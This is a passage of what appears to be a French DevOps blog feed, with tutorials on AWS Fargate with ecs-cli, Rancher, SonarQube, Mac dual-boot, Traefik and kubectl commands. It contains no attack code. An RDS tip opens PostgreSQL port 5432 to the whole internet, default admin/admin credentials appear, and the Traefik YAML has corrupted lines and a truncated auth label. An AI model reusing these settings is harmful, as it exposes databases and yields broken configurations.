</code></pre><p>Créer une tâche d&rsquo;exécution de rôle:</p>
<pre tabindex="0"><code>aws iam --region eu-west-1 create-role --role-name ecsTaskExecutionRole --assume-role-policy-document file://task-execution-assume-role.json
</code></pre><p>Attacher la tâche d&rsquo;exécution de rôle:</p>
<pre tabindex="0"><code>aws iam --region eu-west-1 attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy
</code></pre><br/>
<h2 id="configurer-aws-cli-et-ecs-cli">Configurer AWS cli et ecs cli</h2>
<pre tabindex="0"><code># Pour OSX
brew upgrade amazon-ecs-cli
brew upgrade awscli

rm -rf ~/.ecs # ou mv ~/.ecs ...

export PROJECT_NAME=xxxxxxxxxxxxx

# Création d&#39;un profil
ecs-cli configure profile --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --profile-name $PROJECT_NAME
</code></pre><br/>
<h2 id="création-dun-cluster">Création d&rsquo;un cluster</h2>
<pre tabindex="0"><code>ecs-cli configure --cluster $PROJECT_NAME --region eu-west-1 --default-launch-type FARGATE --config-name $PROJECT_NAME

ecs-cli up
</code></pre><p>Output:</p>
<pre tabindex="0"><code>...
VPC created: vpc-xxxxxxxxxx
Subnet created: subnet-xxxxxxxxx
Subnet created: subnet-xxxxxxxxx
Cluster creation succeeded.
</code></pre><br/>
<h2 id="création-dun-securitygroup">Création d&rsquo;un securitygroup</h2>
<pre tabindex="0"><code>export VPC_ID=&#34;vpc-xxxxxxxxxxxxxxxxxxx&#34;

# securitygroup name
export SG_NAME=&#34;xxxxxxxxxxxxx-sg&#34;

export SG_DESCRIPTION=&#34;xxxxxxxxxx xxxxxx xxx security group&#34;

aws ec2 create-security-group --group-name $SG_NAME --description $SG_DESCRIPTION --vpc-id $VPC_ID
</code></pre><p>Output:</p>
<pre tabindex="0"><code>{
    &#34;GroupId&#34;: &#34;sg-xxxxxxxxxxxxxxx&#34;
}
</code></pre><br/>
<h2 id="création-règle-ingress">Création règle Ingress</h2>
<pre tabindex="0"><code>export SG_GROUP_ID=&#34;sg-xxxxxxxxxxxxxxxxx&#34;

aws ec2 authorize-security-group-ingress --group-id $SG_GROUP_ID --protocol tcp --port 8080 --cidr 0.0.0.0/0
</code></pre><br/>
<h2 id="configuration-docker-et-ressources">Configuration Docker et Ressources</h2>
<p>Créer un fichier <code>docker-compose.yml</code></p>
<pre tabindex="0"><code>version: &#39;3&#39;
services:
  SERVICE_NAME_IE_WP:
    image: IMAGE_DOCKER
    ports:
      - &#34;8080:8080&#34;
    logging:
      driver: awslogs
      options: 
        awslogs-group: PROJECT_NAME
        awslogs-region: eu-west-1
        awslogs-stream-prefix: SERVICE_NAME_IE_WP
</code></pre><p>Créer un fichier <code>ecs-params.yml</code>:</p>
<pre tabindex="0"><code>version: 1
task_definition:
  task_execution_role: ecsTaskExecutionRole
  ecs_network_mode: awsvpc
  task_size:
    mem_limit: 0.5GB
    cpu_limit: 256
run_params:
  network_configuration:
    awsvpc_configuration:
      subnets:
        - &#34;subnet-xxxxxxxxxxxxxxxxx&#34;
        - &#34;subnet-xxxxxxxxxxxxxxxxx&#34;
      security_groups:
        - &#34;sg-xxxxxxxxxxxxxxxxxx&#34;
      assign_public_ip: ENABLED
</code></pre><br/>
<h2 id="déploiement-sur-fargate">Déploiement sur Fargate:</h2>
<pre tabindex="0"><code>ecs-cli compose --project-name $PROJECT_NAME service up --create-log-groups --cluster-config $PROJECT_NAME
</code></pre><p>Pour updater le container, il suffit de réexécuter la commande ci-dessus. Une nouvelle version de la task déployée se créera et l&rsquo;ancienne sera éteinte.</p>
<blockquote>
<p>Note: Pour ajouter une instance RDS et l&rsquo;utiliser dans le container, le plus simple est de créer l&rsquo;instance RDS dans le VPC du container. Puis il faudra créer une rêgle dans le securitygroup créé précédemment et réutilisant la commande suivante: <code> aws ec2 authorize-security-group-ingress --group-id $SG_GROUP_ID --protocol tcp --port 5432 --cidr 0.0.0.0/0</code></p></blockquote>
<p>Rien de plus simple et le tarif est intéressant: <a href="https://aws.amazon.com/fr/fargate/pricing/">https://aws.amazon.com/fr/fargate/pricing/</a></p>
<br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p><strong>Restart task:</strong></p>
<blockquote>
<p>Attention l&rsquo;IP publique sera modifiée.</p></blockquote>
<pre tabindex="0"><code>export SERVICE_NAME=xxxx
export CLUSTER_NAME=xxxx

aws ecs update-service --force-new-deployment --cluster $CLUSTER_NAME --service $SERVICE_NAME
</code></pre><br/>
<h2 id="tip-useful-bash-functions">Tip: Useful bash functions</h2>
<pre tabindex="0"><code>stop_running_tasks() {
    tasks=$(aws ecs list-tasks --cluster $CLUSTER --service $SERVICE | $JQ &#34;.taskArns | . []&#34;);
    tasks=( $tasks )
    for task in &#34;${tasks[@]}&#34;
    do
        [[ ! -z &#34;$task&#34; ]] &amp;&amp; stop_task=$(aws ecs stop-task --cluster $CLUSTER --task &#34;$task&#34;)
    done
}

push_ecr_image(){
    echo &#34;Push built image to ECR&#34;
    eval $(aws ecr get-login --region us-east-1)
    docker push $AWS_ACCOUNT_ID.dkr.ecr.us-east-1.amazonaws.com/repository:$TAG
}

configure_aws_cli(){
    aws --version
    aws configure set default.region us-east-1
    aws configure set default.output json
}

start_tasks() {
    start_task=$(aws ecs start-task --cluster $CLUSTER --task-definition $DEFINITION --container-instances $EC2_INSTANCE --group $SERVICE_GROUP --started-by $SERVICE_ID)
    echo &#34;$start_task&#34;
}
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer Rancher 2 sur Centos 7 (Dev setup)</title>
            <link>https://leandeep.com/installer-rancher-2-sur-centos-7-dev-setup/</link>
            <pubDate>Sun, 05 May 2019 19:00:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-rancher-2-sur-centos-7-dev-setup/</guid>
            <description>&lt;p&gt;&lt;strong&gt;Please note that I do not recommend this setup for production. It is convenient for development/demo purposes.&lt;/strong&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;docker-installation&#34;&gt;Docker installation&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Install needed packages:&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo yum install -y yum-utils device-mapper-persistent-data lvm2
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Configure the docker-ce repo:&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Install docker-ce:&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo yum install docker-ce
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Create Docker group:&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo groupadd docker
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;It appeared that docker.sock was owned by root and in the group root:&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ls -l /var/run/docker.sock

srw-rw---- 1 root root 0 May 6 15:42 /var/run/docker.sock
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;Changing the group ownership:&lt;/em&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><strong>Please note that I do not recommend this setup for production. It is convenient for development/demo purposes.</strong></p>
<br/>
<h2 id="docker-installation">Docker installation</h2>
<p><em>Install needed packages:</em></p>
<pre tabindex="0"><code>sudo yum install -y yum-utils device-mapper-persistent-data lvm2
</code></pre><p><em>Configure the docker-ce repo:</em></p>
<pre tabindex="0"><code>sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
</code></pre><p><em>Install docker-ce:</em></p>
<pre tabindex="0"><code>sudo yum install docker-ce
</code></pre><p><em>Create Docker group:</em></p>
<pre tabindex="0"><code>sudo groupadd docker
</code></pre><p><em>It appeared that docker.sock was owned by root and in the group root:</em></p>
<pre tabindex="0"><code>ls -l /var/run/docker.sock

srw-rw---- 1 root root 0 May 6 15:42 /var/run/docker.sock
</code></pre><p><em>Changing the group ownership:</em></p>
<pre tabindex="0"><code>sudo chown root:docker /var/run/docker.sock

ls -l /var/run/docker.sock

srw-rw---- 1 root docker 0 May 6 15:42 /var/run/docker.sock
</code></pre><p><em>Add your user to the docker group with the following command.</em></p>
<pre tabindex="0"><code>sudo usermod -aG docker $(whoami)
</code></pre><p><em>Set Docker to start automatically at boot time:</em></p>
<pre tabindex="0"><code>sudo systemctl enable docker.service
</code></pre><p><em>Finally, start the Docker service:</em></p>
<pre tabindex="0"><code>sudo systemctl start docker.service
</code></pre><p><em>Logging back on, now can run docker commands without sudo.</em></p>
<br/>
<h2 id="docker-compose-installation">Docker-compose installation</h2>
<p><em>Install Extra Packages for Enterprise Linux</em></p>
<pre tabindex="0"><code>sudo yum install epel-release
Install python-pip

sudo yum install -y python-pip
Then install Docker Compose:

sudo pip install docker-compose
</code></pre><p><em>You will also need to upgrade your Python packages on CentOS 7 to get docker-compose to run successfully:</em></p>
<pre tabindex="0"><code>sudo yum upgrade python*
</code></pre><p><em>To verify a successful Docker Compose installation, run:</em></p>
<pre tabindex="0"><code>docker-compose version
</code></pre><br/>
<h2 id="rancher-2-installation">Rancher 2 installation</h2>
<pre tabindex="0"><code>docker run -d --restart=unless-stopped \
  -p 8080:80 -p 8443:443 \
  -v /opt/rancher:/var/lib/rancher \
  rancher/rancher:latest \
  --acme-domain &lt;DNS_GUI_RANCHER&gt;
</code></pre><blockquote>
<p>In the situation where you want to use a single node to run Rancher and to be able to add the same node to a cluster, you have to adjust the host ports mapped for the rancher/rancher container.</p></blockquote>
<blockquote>
<p>If a node is added to a cluster, it deploys the nginx ingress controller which will use port 80 and 443. This will conflict with the default ports we advise to expose for the rancher/rancher container.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Mettre en place un Sonarqube et scanner son projet en moins de 5 minutes</title>
            <link>https://leandeep.com/mettre-en-place-un-sonarqube-et-scanner-son-projet-en-moins-de-5-minutes/</link>
            <pubDate>Wed, 24 Apr 2019 21:56:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mettre-en-place-un-sonarqube-et-scanner-son-projet-en-moins-de-5-minutes/</guid>
            <description>&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Voici les étapes à suivre pour ajouter un sonar dans son projet.
Dans le cas présent, le projet est un projet Python.&lt;/p&gt;
&lt;br/&gt;
&lt;h1 id=&#34;steps&#34;&gt;Steps&lt;/h1&gt;
&lt;h2 id=&#34;déployer-un-sonar-via-docker&#34;&gt;Déployer un sonar via Docker&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ docker pull sonarqube
$ docker run -d --name sonarqube -p 9000:9000 -p 9092:9092 sonarqube

# Si nécessaire pour ajouter des plugins

$ wget https://binaries.sonarsource.com/Distribution/sonar-python-plugin/sonar-python-plugin-1.13.0.2922.jar

$ docker cp ./sonar-python-plugin-1.13.0.2922.jar sonarqube:/opt/sonarqube/extensions/plugins/sonar-python-plugin-1.13.0.2922.jar  

$ docker restart sonarqube
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;Note: Mot de passe par défault: admin/admin&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Voici les étapes à suivre pour ajouter un sonar dans son projet.
Dans le cas présent, le projet est un projet Python.</p>
<br/>
<h1 id="steps">Steps</h1>
<h2 id="déployer-un-sonar-via-docker">Déployer un sonar via Docker</h2>
<pre tabindex="0"><code>$ docker pull sonarqube
$ docker run -d --name sonarqube -p 9000:9000 -p 9092:9092 sonarqube

# Si nécessaire pour ajouter des plugins

$ wget https://binaries.sonarsource.com/Distribution/sonar-python-plugin/sonar-python-plugin-1.13.0.2922.jar

$ docker cp ./sonar-python-plugin-1.13.0.2922.jar sonarqube:/opt/sonarqube/extensions/plugins/sonar-python-plugin-1.13.0.2922.jar  

$ docker restart sonarqube
</code></pre><blockquote>
<p>Note: Mot de passe par défault: admin/admin</p></blockquote>
<br/>
<h2 id="configurer-le-projet">Configurer le projet</h2>
<p>Créer un fichier <code>sonar-project.properties</code> à la racine du projet</p>
<pre tabindex="0"><code># Required metadata
sonar.projectKey=org.sonarqube:python-sonar-scanner
sonar.projectName=Python :: PYTHON! : SonarQube Scanner
sonar.projectVersion=1.0

# Comma-separated paths to directories with sources (required)
sonar.sources=PATH_DU_REPERTOIRE_A_SCANNER

# Language
sonar.language=py

# Encoding of the source files
sonar.sourceEncoding=UTF-8

sonar.host.url=http://IP_DU_SONAR:9000
</code></pre><br/>
<h2 id="lancer-le-scan-du-projet">Lancer le scan du projet</h2>
<pre tabindex="0"><code>docker run -ti -v $(pwd):/root/src zaquestion/sonarqube-scanner
</code></pre><p>(Docker image <code>zaquestion/sonarqube-scanner</code> source: <a href="https://github.com/oeeckhoutte/docker-sonarqube-scanner">https://github.com/oeeckhoutte/docker-sonarqube-scanner</a>)</p>
<br/>
<h1 id="résultat">Résultat</h1>
<p>Voici ce que vous obtiendrez:</p>
<p><img src="/images/sonar-clean.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Faire un Dual-Boot Linux sur Mac</title>
            <link>https://leandeep.com/faire-un-dual-boot-linux-sur-mac/</link>
            <pubDate>Sat, 13 Apr 2019 09:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/faire-un-dual-boot-linux-sur-mac/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article, nous allons voir comment installer refind, un bootloader custom pour Mac qui permet de détecter les disques internes et externes pour booter sur différents OS.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;pré-requis&#34;&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Disque dur externe ou clé USB ayant suffisamment d&amp;rsquo;espace disque pour contenir un OS comme Fedora par exemple.&lt;/li&gt;
&lt;li&gt;Formater votre disque grâce à &lt;em&gt;Disk Utility&lt;/em&gt;. Sélectionnez votre disque, cliquez erase et sélectionnez le format MS-DOS, et &amp;ldquo;GUID Partition Map&amp;rdquo;.&lt;/li&gt;
&lt;li&gt;Via des utilitaires comme &lt;code&gt;Unetbootin&lt;/code&gt;, &lt;code&gt;BalenaEtcher&lt;/code&gt; (anciennement Etcher), &lt;code&gt;Fedora Media Writer&lt;/code&gt; créez une clé USB contenant un Live CD de Linux.&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation&#34;&gt;Installation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Redémarrer votre Mac et désactivez le &lt;code&gt;System Integrity Protection (SIP)&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article, nous allons voir comment installer refind, un bootloader custom pour Mac qui permet de détecter les disques internes et externes pour booter sur différents OS.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>Disque dur externe ou clé USB ayant suffisamment d&rsquo;espace disque pour contenir un OS comme Fedora par exemple.</li>
<li>Formater votre disque grâce à <em>Disk Utility</em>. Sélectionnez votre disque, cliquez erase et sélectionnez le format MS-DOS, et &ldquo;GUID Partition Map&rdquo;.</li>
<li>Via des utilitaires comme <code>Unetbootin</code>, <code>BalenaEtcher</code> (anciennement Etcher), <code>Fedora Media Writer</code> créez une clé USB contenant un Live CD de Linux.</li>
</ul>
<br/>
<h2 id="installation">Installation</h2>
<ul>
<li>
<p>Redémarrer votre Mac et désactivez le <code>System Integrity Protection (SIP)</code>.</p>
</li>
<li>
<p>Lors du redémarrage, maintenez les touchez <code>Command + R</code> pour passer en mode recovery.</p>
</li>
<li>
<p>Un fois démarré en mode recovery, ouvrez un terminal (Utilities &ndash;&gt; Terminal)</p>
</li>
<li>
<p>Exécutez la commande <code>csrutil disable</code></p>
</li>
<li>
<p>Rebootez</p>
</li>
<li>
<p>Téléchargez <a href="http://sourceforge.net/projects/refind/files/0.11.2/refind-bin-0.11.2.zip/download">Refind</a></p>
</li>
<li>
<p>Unzip le fichier téléchargé.</p>
</li>
<li>
<p>Ouvrir un Terminal et exécutez le fichier &ldquo;refind-installer&rdquo; contenu dans le dossier que vous venez d&rsquo;extraire.</p>
</li>
<li>
<p>Et voilà. Rebootez pour vérifier que cela fonctionne.</p>
</li>
</ul>
<br/>
<h2 id="désinstallation">Désinstallation</h2>
<p>Ouvrez un Terminal et exécutez les commandes suivantes:</p>
<pre tabindex="0"><code>sudo mkdir /Volumes/efi
sudo mount -t msdos /dev/disk0s1 /Volumes/efi
sudo rm -rf /Volumes/efi/EFI/refind
</code></pre><p>Et voilà. Rebootez. Vous devriez voir ceci:</p>
<p><img src="/images/dual-boot.JPG" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Mettre en place Traefik en moins de 5 minutes</title>
            <link>https://leandeep.com/mettre-en-place-traefik-en-moins-de-5-minutes/</link>
            <pubDate>Fri, 29 Mar 2019 21:44:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mettre-en-place-traefik-en-moins-de-5-minutes/</guid>
            <description>&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Tout est dans le titre ! Dans cet article nous allons voir comment mettre en place le load balancer Traefik devant 2 applications.&lt;/p&gt;
&lt;p&gt;Nous allons déployer 2 nginx pour simuler 2 sites statiques et nous allons customiser la page d&amp;rsquo;accueil de chacun de nos Nginx avec les messages &lt;code&gt;Hello world 1&lt;/code&gt; et &lt;code&gt;Hello world 2&lt;/code&gt;. On ne peut pas plus simple !&lt;/p&gt;
&lt;br/&gt;
&lt;h1 id=&#34;installtion&#34;&gt;Installtion&lt;/h1&gt;
&lt;h2 id=&#34;docker-compose&#34;&gt;Docker-compose&lt;/h2&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;docker-compose.yml&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;version: &amp;#34;3.5&amp;#34;

services:

  traefik:d
  	restart: alwaysd
    image: traefik:1.7.10
    command: --api --docker --docker.domain=app.test --logLevel=DEBUG # Enables the web UI and tells Traefik to listen to docker
    depends_on:
    # our setup relies on the 2 apps running. Trying to spin up traefik will bring up those too
    - &amp;#34;app1&amp;#34;
    - &amp;#34;app2&amp;#34;
    ports:
      - &amp;#34;80:80&amp;#34;
      # Management UI
      - &amp;#34;8080:8080&amp;#34;
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - ./traefik.toml:/etc/traefik/traefik.toml:ro
    networks:
      outside-world:
      internal-network:

  app1:
    image: nginx:alpine
    labels:
    - &amp;#34;traefik.port=80&amp;#34;
    - &amp;#34;traefik.frontend.rule=Host:app1.test&amp;#34;
    volumes:
      - ./app1/:/usr/share/nginx/html:ro
    networks:
      internal-network:
        # the aliases are not required, but are useful if the applications want to internally
        # reference each other by host name
        aliases:
        - &amp;#34;app1.test&amp;#34;

  app2:
    image: nginx:alpine
    labels:
    - &amp;#34;traefik.port=80&amp;#34;
    - &amp;#34;traefik.frontend.rule=Host:app2.test&amp;#34;
    volumes:
      - ./app2/:/usr/share/nginx/html:ro
    networks:
      internal-network:
        aliases:
        - &amp;#34;app2.test&amp;#34;

networks:
  # everything that is *only* on &amp;#34;internal network&amp;#34; cannot talk to WAN
  internal-network:
    internal: true
  # add this network to a container to make it talk to the rest of the world
  outside-world:
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;contenus-html-des-apps&#34;&gt;Contenus HTML des apps&lt;/h2&gt;
&lt;p&gt;Créer 2 répertoires &lt;code&gt;app1&lt;/code&gt; et &lt;code&gt;app2&lt;/code&gt; contenant les fichiers index.html customisés.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h1 id="introduction">Introduction</h1>
<p>Tout est dans le titre ! Dans cet article nous allons voir comment mettre en place le load balancer Traefik devant 2 applications.</p>
<p>Nous allons déployer 2 nginx pour simuler 2 sites statiques et nous allons customiser la page d&rsquo;accueil de chacun de nos Nginx avec les messages <code>Hello world 1</code> et <code>Hello world 2</code>. On ne peut pas plus simple !</p>
<br/>
<h1 id="installtion">Installtion</h1>
<h2 id="docker-compose">Docker-compose</h2>
<p>Créer un fichier <code>docker-compose.yml</code>:</p>
<pre tabindex="0"><code>version: &#34;3.5&#34;

services:

  traefik:d
  	restart: alwaysd
    image: traefik:1.7.10
    command: --api --docker --docker.domain=app.test --logLevel=DEBUG # Enables the web UI and tells Traefik to listen to docker
    depends_on:
    # our setup relies on the 2 apps running. Trying to spin up traefik will bring up those too
    - &#34;app1&#34;
    - &#34;app2&#34;
    ports:
      - &#34;80:80&#34;
      # Management UI
      - &#34;8080:8080&#34;
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - ./traefik.toml:/etc/traefik/traefik.toml:ro
    networks:
      outside-world:
      internal-network:

  app1:
    image: nginx:alpine
    labels:
    - &#34;traefik.port=80&#34;
    - &#34;traefik.frontend.rule=Host:app1.test&#34;
    volumes:
      - ./app1/:/usr/share/nginx/html:ro
    networks:
      internal-network:
        # the aliases are not required, but are useful if the applications want to internally
        # reference each other by host name
        aliases:
        - &#34;app1.test&#34;

  app2:
    image: nginx:alpine
    labels:
    - &#34;traefik.port=80&#34;
    - &#34;traefik.frontend.rule=Host:app2.test&#34;
    volumes:
      - ./app2/:/usr/share/nginx/html:ro
    networks:
      internal-network:
        aliases:
        - &#34;app2.test&#34;

networks:
  # everything that is *only* on &#34;internal network&#34; cannot talk to WAN
  internal-network:
    internal: true
  # add this network to a container to make it talk to the rest of the world
  outside-world:
</code></pre><br/>
<h2 id="contenus-html-des-apps">Contenus HTML des apps</h2>
<p>Créer 2 répertoires <code>app1</code> et <code>app2</code> contenant les fichiers index.html customisés.</p>
<p>Vous devriez obtenir l&rsquo;arborescence suivante:</p>
<pre tabindex="0"><code>├── app1
│   └── index.html # Contient le texte: Hello world 1
├── app2
│   └── index.html # Contient le texte: Hello world 2
└── docker-compose.yml
</code></pre><br/>
<h2 id="etchosts">/etc/hosts</h2>
<p>Si vous êtes en local, il vous faudra configurer votre /etc/hosts avec le nom de domaine permettant d&rsquo;accéder aux apps et à Traefik.</p>
<p>Pour ce faire editez le fichier (en mode root) <code>/etc/hosts</code>, et ajoutez les 3 entrées suivantes:</p>
<pre tabindex="0"><code>127.0.0.1       app.test
127.0.0.1       app1.test
127.0.0.1       app2.test
</code></pre><br/>
<h2 id="test">Test</h2>
<p>Exécutez la commande:</p>
<pre tabindex="0"><code>docker-compose up 
</code></pre><p>Puis rendez-vous sur <code>http://app.test:8080</code> pour accéder à l&rsquo;admin de Traefik et sur vos apps <code>http://app1.test</code> et <code>http://app2.test</code>.</p>
<p>Et voilà !</p>
<p><img src="/images/traefik.png" alt="image"></p>
<p>Pour aller plus loin, vous pouvez ajouter un fichier <code>acme.json</code> et le monter comme volume dans votre service Traefik pour avoir de l&rsquo;HTTPS. <code>- ./acme.json:/acme.json</code></p>
<p>Voici la doc officielle (j&rsquo;en ferais peut-être un article si le temps me le permet :D) <a href="https://docs.traefik.io/configuration/acme/">https://docs.traefik.io/configuration/acme/</a></p>
<br/>
<h1 id="htpasswd">htpasswd</h1>
<p>Il est également possible d&rsquo;ajouter un htpasswd:</p>
<pre tabindex="0"><code>htpasswd -n username
</code></pre><p>Voici ce que l&rsquo;on obtient avec admin/admin (à ne pas utiliser):</p>
<pre tabindex="0"><code>admin:$apr1$IBj9Hfsd$kf7vXLpY4/9XD365jcp/n1
</code></pre><p>Modifier le fichier <code>docker-compose.yml</code> et ajoutez le label suivant dans le service traefik:</p>
<pre tabindex="0"><code>labels:
      - &#34;traefik.frontend.auth.basic=admin:$$apr1$$IBj9Hfsd$$kf7vXLpY
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Commandes utiles Kubernetes</title>
            <link>https://leandeep.com/commandes-utiles-kubernetes/</link>
            <pubDate>Fri, 08 Mar 2019 17:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-utiles-kubernetes/</guid>
            <description>&lt;h2 id=&#34;commandes-propres-à-kubernetes&#34;&gt;Commandes propres à Kubernetes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Créer un namespace&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl create ns &amp;lt;new-namespace&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Lister tous les types de ressources disponibles sur le cluster&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl api-resources
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Savoir si une ressource appartient à un namespace&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl api-resources --namespaced=true
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Savoir si une ressource appartient PAS à un namespace&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;kubectl api-resources --namespaced=false
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Switcher de namespace&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Install kubens with the following command: 
# Sur Mac: brew install kubectx
# Sur Linux (les 3 commandes qui suivent): 
# sudo git clone https://github.com/ahmetb/kubectx /opt/kubectx
# sudo ln -s /opt/kubectx/kubectx /usr/local/bin/kubectx
# sudo ln -s /opt/kubectx/kubens /usr/local/bin/kubens

kubens &amp;lt;namespace&amp;gt;

# Enregistre de manière permanente le namespace pour toutes les commandes kubectl suivantes dans ce contexte
kubectl config set-context --current --namespace=NOM_DU_NAMESPACE
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;Connaître le cluster dans lequel on se situe&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="commandes-propres-à-kubernetes">Commandes propres à Kubernetes</h2>
<p><strong>Créer un namespace</strong></p>
<pre tabindex="0"><code>kubectl create ns &lt;new-namespace&gt;
</code></pre><br/>
<p><strong>Lister tous les types de ressources disponibles sur le cluster</strong></p>
<pre tabindex="0"><code>kubectl api-resources
</code></pre><br/>
<p><strong>Savoir si une ressource appartient à un namespace</strong></p>
<pre tabindex="0"><code>kubectl api-resources --namespaced=true
</code></pre><br/>
<p><strong>Savoir si une ressource appartient PAS à un namespace</strong></p>
<pre tabindex="0"><code>kubectl api-resources --namespaced=false
</code></pre><br/>
<p><strong>Switcher de namespace</strong></p>
<pre tabindex="0"><code># Install kubens with the following command: 
# Sur Mac: brew install kubectx
# Sur Linux (les 3 commandes qui suivent): 
# sudo git clone https://github.com/ahmetb/kubectx /opt/kubectx
# sudo ln -s /opt/kubectx/kubectx /usr/local/bin/kubectx
# sudo ln -s /opt/kubectx/kubens /usr/local/bin/kubens

kubens &lt;namespace&gt;

# Enregistre de manière permanente le namespace pour toutes les commandes kubectl suivantes dans ce contexte
kubectl config set-context --current --namespace=NOM_DU_NAMESPACE
</code></pre><br/>
<p><strong>Connaître le cluster dans lequel on se situe</strong></p>
<pre tabindex="0"><code>kubectl config get-contexts
</code></pre><br/>
<p><strong>Connaître le namespace dans lequel on se situe</strong></p>
<pre tabindex="0"><code>kubectl config view | grep namespace

# Alternative: 
# kubectl config view --minify --output &#39;jsonpath={..namespace}&#39;
</code></pre><br/>
<p><strong>Effacer un namespace</strong></p>
<pre tabindex="0"><code>kubectl delete ns &lt;namespace-to-delete&gt;
</code></pre><br/>
<p><strong>Voir les ressources utilisées par les nodes</strong></p>
<pre tabindex="0"><code># Nécessite heapster
kubectl top node
</code></pre><br/>
<p><strong>Voir les ressources utilisées par les pods</strong></p>
<pre tabindex="0"><code>kubectl top pods
</code></pre><br/>
<p><strong>Voir les logs d&rsquo;une app particulière dans un namespace particulier</strong></p>
<pre tabindex="0"><code>kubectl logs -l app=catalog-catalog-controller-manager -n catalog
</code></pre><br/>
<p><strong>Voir le cluster sur lequel kubectl est connecté</strong></p>
<pre tabindex="0"><code>kubectl config current-context
</code></pre><br/>
<p><strong>Lister les clusters configurés dans kubeconfig</strong></p>
<pre tabindex="0"><code>kubectl config get-clusters
</code></pre><br/>
<p><strong>Switcher de cluster en cluster</strong></p>
<pre tabindex="0"><code>kubectl config use-context cluster_name
</code></pre><br/>
<p><strong>Obtenir quelques informations sur le cluster</strong></p>
<pre tabindex="0"><code>kubectl cluster-info
</code></pre><br/>
<p><strong>Voir les noeuds du cluster</strong></p>
<pre tabindex="0"><code>kubectl get nodes
</code></pre><br/>
<p><strong>Port forward un service sur k8s chez vous</strong></p>
<pre tabindex="0"><code>kubectl -n NAMESPACE_DANS_LEQUEL_SE_TROUVE_LE_SERVICE port-forward svc/NOM_DU_SERVICE_AUQUEL_VOUS_VOULEZ_ACCEDER PORT_CHEZ_VOUS_POUR_ACCEDER_AU_SERVICE:PORT_DU_SERVICE_SUR_K8S
